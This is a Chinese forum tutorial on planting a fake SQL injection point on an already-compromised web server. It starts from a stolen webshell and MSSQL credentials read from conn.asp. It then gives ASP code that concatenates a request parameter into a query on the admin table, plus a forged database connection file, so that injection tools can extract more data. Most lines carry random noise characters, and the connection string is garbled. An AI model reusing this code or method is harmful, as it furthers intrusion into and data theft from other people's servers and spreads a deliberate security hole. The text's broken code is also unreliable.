自己构造注入点方便入侵
+ |4 T! }5 N) b1 n8 M4 u: B2 ]% i3 \- a* @
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息* m# ~! [$ ~6 J0 f3 n2 a0 i
0 z7 \; ~5 u3 J/ x( Q# @8 F) M
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!! z: `9 i/ ~* W- d
/ O: C' \# l6 O
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和8 ?4 o: z# E' J
) L4 R5 ~" k" E# K) P7 z密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
. I% ^4 t6 H8 L2 j; x5 e- I9 J2 {) M% K, T* H# t( N$ d8 r, Q/ T
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
: ^( g# _# A* M* e( d0 n5 \+ ]: o X; z6 c( P5 L
程序代码
" C3 x' _0 @# r" _<!--#include file="xx.asp"-->
6 A" Z/ m' L% F/ V<%
; P4 s. Q- z4 x& w# \* ]set rs=server.createobject("ADODB.recordset")% G9 ]% Q9 V! S/ G+ W( y
id = request("id")
6 X5 k% Z' M: n- m4 Z& S9 Y0 bstrSQL = "select * from admin where id=" & id
* L$ ^/ b& R: E8 Srs.open strSQL,conn,1,3
$ m9 x6 I: m/ t& prs.close; v7 D0 ^7 {' N: }' [
%>
3 ?" B' N% @& }. |" N. D! R" g5 x8 f0 d% \1 A$ n7 S! l* f; P- D
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在5 x1 W7 @7 f* I( _1 S/ }/ ~
4 Z3 }+ o3 B2 _& l! e/ ~8 W
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!# s% I8 v0 h2 }: C4 q+ r
1 a, v4 K! z$ _1 G1 W然后就要构造一个连接数据库的文件了,代码如下:
/ i+ o) f4 H3 `! e程序代码! }0 g( S, W: T# R$ R
<% * D' Y; g1 N( G8 ]" U7 E
strSQLServerName = "000.000.000.000" '服务器名称或地址% \, P+ ~7 W# K! w4 h( V5 i
strSQLDBUserName = "sqlname" '数据库帐号+ J$ \* j0 N1 [2 i$ N, ]
strSQLDBPassword = "sqlpass" '数据库密码& L8 A8 z/ `# w- {; f" v' U, m
strSQLDBName = "sqldataname" '数据库名称' C1 p/ `3 A/ ?
Set conn = Server.CreateObject("ADODB.Connection")
0 N7 w8 J2 p. n! L( f' l2 o `strCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"3 q8 V5 i( x) W* _
conn.open strCon
1 Z) z) Z7 P( M* J7 X%> d2 a' a/ Z3 n& M
8 K. a) k7 f( E+ v* n% N/ s
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,* m, M) w. z) _
, @0 L. W0 u7 K9 k
就这样,正常情况下,就OK了,伪造成功……" d& e7 L! z$ w+ }# x& K$ N" E
) w2 l: O8 O6 Q2 |$ r0 z 如果有什么问题可以提出来大家一起探讨解决。 |